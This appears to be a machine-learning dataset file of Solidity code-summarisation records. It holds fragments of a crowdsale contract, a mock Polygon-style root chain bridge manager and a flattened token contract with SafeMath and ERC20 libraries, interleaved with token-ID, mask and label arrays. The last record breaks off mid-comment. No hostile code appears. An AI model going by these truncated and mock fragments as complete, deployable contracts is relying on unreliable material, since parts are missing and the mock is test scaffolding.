function isBreakingCap(uint tokenAmount) public view returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
/**
* We are sold out when our approve pool becomes empty.
*/
function isCrowdsaleFull() public view returns (bool) {
return getTokensLeft() == 0;
}
/**
* Get the amount of unsold tokens allocated to this contract;
*/
function getTokensLeft() public view returns (uint) {
return token.allowance(beneficiary, this);
}
} | * Pre-sale contract call this function and get tokens Modified by : TokenMagic/ | function invest(address addr,uint tokenAmount) public payable {
investInternal(addr,tokenAmount);
}
| 1,815,175 | [
1,
1386,
17,
87,
5349,
6835,
745,
333,
445,
471,
336,
2430,
21154,
635,
294,
3155,
19289,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
2198,
395,
12,
2867,
3091,
16,
11890,
1147,
6275,
13,
1071,
8843,
429,
288,
203,
565,
2198,
395,
3061,
12,
4793,
16,
2316,
6275,
1769,
203,
225,
289,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.8;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { IRootChainManager } from "../interfaces/IRootChainManager.sol";
import { RootChainManagerStorage } from "./MockRootChainManagerStorage.sol";
import { IStateSender } from "../interfaces/IStateSender.sol";
import { ICheckpointManager } from "../interfaces/ICheckpointManager.sol";
import { RLPReader } from "../lib/RLPReader.sol";
import { MerklePatriciaProof } from "../lib/MerklePatriciaProof.sol";
import { Merkle } from "../lib/Merkle.sol";
import { ITokenPredicate } from "../interfaces/ITokenPredicate.sol";
import { Initializable } from "../../common/Matic/Initializable.sol";
import { AccessControl } from "@openzeppelin/contracts/access/AccessControl.sol";
import { AccessControlMixin } from "../../common/Matic/AccessControlMixin.sol";
contract MockRootChainManager is
IRootChainManager,
Initializable,
AccessControl, // included to match old storage layout while upgrading
RootChainManagerStorage, // created to match old storage layout while upgrading
AccessControlMixin
{
using RLPReader for bytes;
using RLPReader for RLPReader.RLPItem;
using Merkle for bytes32;
using SafeMath for uint256;
// maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4
bytes32 public constant DEPOSIT = keccak256("DEPOSIT");
bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN");
address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE");
/**
* @notice Initialize the contract after it has been proxified
* @dev meant to be called once immediately after deployment
* @param _owner the account that should be granted admin role
*/
function initialize(
address _owner
)
external
initializer
{
_setupContractId("RootChainManager");
_setupRole(DEFAULT_ADMIN_ROLE, _owner);
_setupRole(MAPPER_ROLE, _owner);
}
// adding seperate function setupContractId since initialize is already called with old implementation
function setupContractId()
external
only(DEFAULT_ADMIN_ROLE)
{
_setupContractId("RootChainManager");
}
/**
* @notice Set the state sender, callable only by admins
* @dev This should be the state sender from plasma contracts
* It is used to send bytes from root to child chain
* @param newStateSender address of state sender contract
*/
function setStateSender(address newStateSender)
external
only(DEFAULT_ADMIN_ROLE)
{
_stateSender = IStateSender(newStateSender);
}
/**
* @notice Get the address of contract set as state sender
* @return The address of state sender contract
*/
function stateSenderAddress() external view returns (address) {
return address(_stateSender);
}
/**
* @notice Set the checkpoint manager, callable only by admins
* @dev This should be the plasma contract responsible for keeping track of checkpoints
* @param newCheckpointManager address of checkpoint manager contract
*/
function setCheckpointManager(address newCheckpointManager)
external
only(DEFAULT_ADMIN_ROLE)
{
_checkpointManager = ICheckpointManager(newCheckpointManager);
}
/**
* @notice Get the address of contract set as checkpoint manager
* @return The address of checkpoint manager contract
*/
function checkpointManagerAddress() external view returns (address) {
return address(_checkpointManager);
}
/**
* @notice Set the child chain manager, callable only by admins
* @dev This should be the contract responsible to receive deposit bytes on child chain
* @param newChildChainManager address of child chain manager contract
*/
function setChildChainManagerAddress(address newChildChainManager)
external
only(DEFAULT_ADMIN_ROLE)
{
require(newChildChainManager != address(0x0), "RootChainManager: INVALID_CHILD_CHAIN_ADDRESS");
childChainManagerAddress = newChildChainManager;
}
/**
* @notice Register a token predicate address against its type, callable only by mappers
* @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens
* @param tokenType bytes32 unique identifier for the token type
* @param predicateAddress address of token predicate address
*/
function registerPredicate(bytes32 tokenType, address predicateAddress)
external
override
only(MAPPER_ROLE)
{
typeToPredicate[tokenType] = predicateAddress;
emit PredicateRegistered(tokenType, predicateAddress);
}
/**
* @notice Map a token to enable its movement via the PoS Portal, callable only by mappers
* @param rootToken address of token on root chain
* @param childToken address of token on child chain
* @param tokenType bytes32 unique identifier for the token type
*/
function mapToken(
address rootToken,
address childToken,
bytes32 tokenType
) external override only(MAPPER_ROLE) {
// explicit check if token is already mapped to avoid accidental remaps
require(
rootToChildToken[rootToken] == address(0) &&
childToRootToken[childToken] == address(0),
"RootChainManager: ALREADY_MAPPED"
);
_mapToken(rootToken, childToken, tokenType);
}
function _mapToken(
address rootToken,
address childToken,
bytes32 tokenType
) private {
require(
typeToPredicate[tokenType] != address(0x0),
"RootChainManager: TOKEN_TYPE_NOT_SUPPORTED"
);
rootToChildToken[rootToken] = childToken;
childToRootToken[childToken] = rootToken;
tokenToType[rootToken] = tokenType;
emit TokenMapped(rootToken, childToken, tokenType);
bytes memory syncData = abi.encode(rootToken, childToken, tokenType);
_stateSender.syncState(
childChainManagerAddress,
abi.encode(MAP_TOKEN, syncData)
);
}
/**
* @notice Move tokens from root to child chain
* @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped
* @param user address of account that should receive this deposit on child chain
* @param rootToken address of token that is being deposited
* @param depositData bytes data that is sent to predicate and child token contracts to handle deposit
*/
function depositFor(
address user,
address rootToken,
bytes calldata depositData
) external override {
require(
rootToken != ETHER_ADDRESS,
"RootChainManager: INVALID_ROOT_TOKEN"
);
_depositFor(user, rootToken, depositData);
}
function _depositEtherFor(address user) private {
bytes memory depositData = abi.encode(msg.value);
_depositFor(user, ETHER_ADDRESS, depositData);
// payable(typeToPredicate[tokenToType[ETHER_ADDRESS]]).transfer(msg.value);
// transfer doesn't work as expected when receiving contract is proxified so using call
(bool success, /* bytes memory data */) = typeToPredicate[tokenToType[ETHER_ADDRESS]].call{value: msg.value}("");
if (!success) {
revert("RootChainManager: ETHER_TRANSFER_FAILED");
}
}
function _depositFor(
address user,
address rootToken,
bytes memory depositData
) private {
require(
rootToChildToken[rootToken] != address(0x0) &&
tokenToType[rootToken] != 0,
"RootChainManager: TOKEN_NOT_MAPPED"
);
address predicateAddress = typeToPredicate[tokenToType[rootToken]];
require(
predicateAddress != address(0),
"RootChainManager: INVALID_TOKEN_TYPE"
);
require(
user != address(0),
"RootChainManager: INVALID_USER"
);
ITokenPredicate(predicateAddress).lockTokens(
_msgSender(),
user,
rootToken,
depositData
);
bytes memory syncData = abi.encode(user, rootToken, depositData);
_stateSender.syncState(
childChainManagerAddress,
abi.encode(DEPOSIT, syncData)
);
}
/**
* @notice exit tokens by providing proof
* @dev This function verifies if the transaction actually happened on child chain
* the transaction log is then sent to token predicate to handle it accordingly
*
* @param inputData RLP encoded data of the reference tx containing following list of fields
* 0 - headerNumber - Checkpoint header block number containing the reference tx
* 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root
* 2 - blockNumber - Block number containing the reference tx on child chain
* 3 - blockTime - Reference tx block time
* 4 - txRoot - Transactions root of block
* 5 - receiptRoot - Receipts root of block
* 6 - receipt - Receipt of the reference transaction
* 7 - receiptProof - Merkle proof of the reference receipt
* 8 - branchMask - 32 bits denoting the path of receipt in merkle tree
* 9 - receiptLogIndex - Log Index to read from the receipt
*/
function exit(bytes calldata inputData) external override {
RLPReader.RLPItem[] memory inputDataRLPList = inputData
.toRlpItem()
.toList();
// checking if exit has already been processed
// unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex)
bytes32 exitHash = keccak256(
abi.encodePacked(
inputDataRLPList[2].toUint(), // blockNumber
// first 2 nibbles are dropped while generating nibble array
// this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only)
// so converting to nibble array and then hashing it
MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask
inputDataRLPList[9].toUint() // receiptLogIndex
)
);
require(
processedExits[exitHash] == false,
"RootChainManager: EXIT_ALREADY_PROCESSED"
);
processedExits[exitHash] = true;
RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6]
.toBytes()
.toRlpItem()
.toList();
RLPReader.RLPItem memory logRLP = receiptRLPList[3]
.toList()[
inputDataRLPList[9].toUint() // receiptLogIndex
];
address childToken = RLPReader.toAddress(logRLP.toList()[0]); // log emitter address field
// log should be emmited only by the child token
address rootToken = childToRootToken[childToken];
require(
rootToken != address(0),
"RootChainManager: TOKEN_NOT_MAPPED"
);
address predicateAddress = typeToPredicate[
tokenToType[rootToken]
];
// branch mask can be maximum 32 bits
require(
inputDataRLPList[8].toUint() &
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 ==
0,
"RootChainManager: INVALID_BRANCH_MASK"
);
// verify receipt inclusion
require(
MerklePatriciaProof.verify(
inputDataRLPList[6].toBytes(), // receipt
inputDataRLPList[8].toBytes(), // branchMask
inputDataRLPList[7].toBytes(), // receiptProof
bytes32(inputDataRLPList[5].toUint()) // receiptRoot
),
"RootChainManager: INVALID_PROOF"
);
// verify checkpoint inclusion
_checkBlockMembershipInCheckpoint(
inputDataRLPList[2].toUint(), // blockNumber
inputDataRLPList[3].toUint(), // blockTime
bytes32(inputDataRLPList[4].toUint()), // txRoot
bytes32(inputDataRLPList[5].toUint()), // receiptRoot
inputDataRLPList[0].toUint(), // headerNumber
inputDataRLPList[1].toBytes() // blockProof
);
ITokenPredicate(predicateAddress).exitTokens(
_msgSender(),
childToRootToken[childToken],
logRLP.toRlpBytes()
);
}
function _checkBlockMembershipInCheckpoint(
uint256 blockNumber,
uint256 blockTime,
bytes32 txRoot,
bytes32 receiptRoot,
uint256 headerNumber,
bytes memory blockProof
) private view returns (uint256) {
(
bytes32 headerRoot,
uint256 startBlock,
,
uint256 createdAt,
) = _checkpointManager.headerBlocks(headerNumber);
require(
keccak256(
abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)
)
.checkMembership(
blockNumber.sub(startBlock),
headerRoot,
blockProof
),
"RootChainManager: INVALID_HEADER"
);
return createdAt;
}
} | * @notice Initialize the contract after it has been proxified @dev meant to be called once immediately after deployment @param _owner the account that should be granted admin role/ | {
_setupContractId("RootChainManager");
_setupRole(DEFAULT_ADMIN_ROLE, _owner);
_setupRole(MAPPER_ROLE, _owner);
}
| 5,474,545 | [
1,
7520,
326,
6835,
1839,
518,
711,
2118,
8617,
939,
225,
20348,
358,
506,
2566,
3647,
7636,
1839,
6314,
225,
389,
8443,
326,
2236,
716,
1410,
506,
17578,
3981,
2478,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
288,
203,
3639,
389,
8401,
8924,
548,
2932,
2375,
3893,
1318,
8863,
203,
3639,
389,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
389,
8443,
1769,
203,
3639,
389,
8401,
2996,
12,
8352,
3194,
67,
16256,
16,
389,
8443,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-02-10
*/
// File: contracts/Interfaces.sol
/*
___ _____ ___ _ _ _
( _`\ ( _ )( _`\ (_)( ) ( )
| (_) )| (_) || (_(_)| |`\`\/'/'
| _ <'| _ |`\__ \ | | > <
| (_) )| | | |( )_) || | /'/\`\
(____/'(_) (_)`\____)(_)(_) (_)
*/
pragma solidity 0.6.5;
interface YearnRewardsI {
function starttime() external returns (uint256);
function totalRewards() external returns (uint256);
function y() external returns (address);
function yfi() external returns (address);
function balanceOf(address _) external returns(uint256);
function earned(address _) external returns(uint256);
}
interface UniV2PairI {
function sync() external;
}
interface ERC20MigratorI {
function totalMigrated() external returns (uint256);
}
// File: contracts/lib/SafeMathInt.sol
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.6.5;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/lib/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.5;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
